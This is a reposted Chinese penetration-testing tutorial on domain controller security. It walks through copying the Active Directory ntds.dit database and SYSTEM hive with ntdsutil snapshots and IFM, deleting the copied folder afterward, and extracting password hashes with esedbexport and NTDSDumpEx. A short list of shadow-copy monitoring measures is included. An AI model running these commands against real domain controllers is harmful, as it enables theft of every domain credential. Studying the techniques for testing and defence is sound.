IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 开发工具 -> 内网渗透测试第六章——域控制器安全 -> 正文阅读

[开发工具]内网渗透测试第六章——域控制器安全

域控制器安全

在通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:Windows\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务,就可以获得文件的副本。

使用卷影拷贝服务提取ntds.dit

使用ntdsutil提取

ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上,可以在域控制器上直接操作,也可以通过域内机器在域控制器上远程操作。ntdsutil.exe支持的操作系统有Windows Server2003、Windows Server2008、Windows Server 2012。

创建快照

ntdsutil snapshot "activate instance ntds" create quit quit

image-20210908111313458

查看快照

ntdsutil snapshot "mount {快照ID}" quit quit

image-20210908111351142

打开文件管理可以看到,快照已经成功创建

image-20210908140735538

域控文件已经可以进行拷贝了

image-20210908140919239

删除快照

ntdsutil snapshot "unmount {快照ID}" “delete {快照ID}” quit quit

image-20210908141752780

查看系统中的所有快照

ntdsutil snapshot "List All" quit quit

image-20210908141941682

监控卷影拷贝服务的使用情况

  • 通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。
  • 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。
  • 监控System Event ID7036(卷影拷贝服务进入运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件。
  • 监控创建 diskshadow.exe及相关子进程的事件。
  • 监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要,在Windows操作系统中不应该出现diskshadow.exe。如果发现,应立刻将其删除。
  • 通过日志监控新出现的逻辑驱动器映射事件。

使用ntdsutil的IFM创建卷影拷贝

在使用ntdsutil创建IFM时,需要进行生成快照、加载、将ntds.dit和计算机的SAM文件复制到目标文件夹中等操作。

在域控制器中以管理员模式打开命令行环境,输入命令

ntdsutil "ac i ntds" "ifm" "create full c:/test"q q

image-20210909143739802

ntds.dit复制到c:\test\Active Directory\文件夹下

dir "c:\test\Active Directory\"

image-20210909144241255

然后,将SYSTEMSECURITY两项复制到c:\test\registry\文件夹下

dir "c:\test\registry\"

image-20210909144404844

将ntds.dit 拖回本地后,在目标机器上将test文件夹删除。

rmdir /s/q test

导出ntds.dit中的散列值

使用esedbexport恢复ntds.dit

下载地址

https://github.com/libyal/libesedb/releases/download/20210424/libesedb-experimental-20210424.tar.gz

在kali下载libesedb

wget https://github.com/libyal/libesedb/releases/download/20210424/libesedb-experimental-20210424.tar.gz

image-20210908145400030

下载安装依赖环境

apt-get install autoconf automake autopoint libtool pkg-config

image-20210908145530315

解压

tar -xzvf libesedb-experimental-20210424.tar.gz

image-20210908145626941

配置

cd libesedb-20210424./configure

image-20210908145857294

编译

make

image-20210908145929668

安装

sudo make install

image-20210908150415271

配置

sudo ldconfig

image-20210908150039765

安装完成后会在/usr/local/bin目录下看到esedbexport程序

image-20210908152454393

ntds.dit文件上传到kali中,使用esedbexport进行恢复操作

esedbexport -m table ntds.dit

image-20210908153112774

提取成功,在同一目录下生成了文件夹

image-20210908153319314

使用NTDSDumpEx.exe导出散列值

使用NTDSDumpEx.exe可以导出散列值

下载地址

https://github.com/zcgonvh/NTDSDumpEx/releases/download/v0.3/NTDSDumpEx.zip

将ntds.dit、SYSTEM和NTDSDumpEx.exe放在同一目录下,运行程序

NTDSDumpEx.exe -d ntds.dit -s SYSTEM

image-20210909143146766

  开发工具 最新文章
Postman接口测试之Mock快速入门
ASCII码空格替换查表_最全ASCII码对照表0-2
如何使用 ssh 建立 socks 代理
Typora配合PicGo阿里云图床配置
SoapUI、Jmeter、Postman三种接口测试工具的
github用相对路径显示图片_GitHub 中 readm
Windows编译g2o及其g2o viewer
解决jupyter notebook无法连接/ jupyter连接
Git恢复到之前版本
VScode常用快捷键
上一篇文章      下一篇文章      查看所有文章
加:2021-09-10 11:03:42  更:2021-09-10 11:06:17 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/16 4:51:02-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码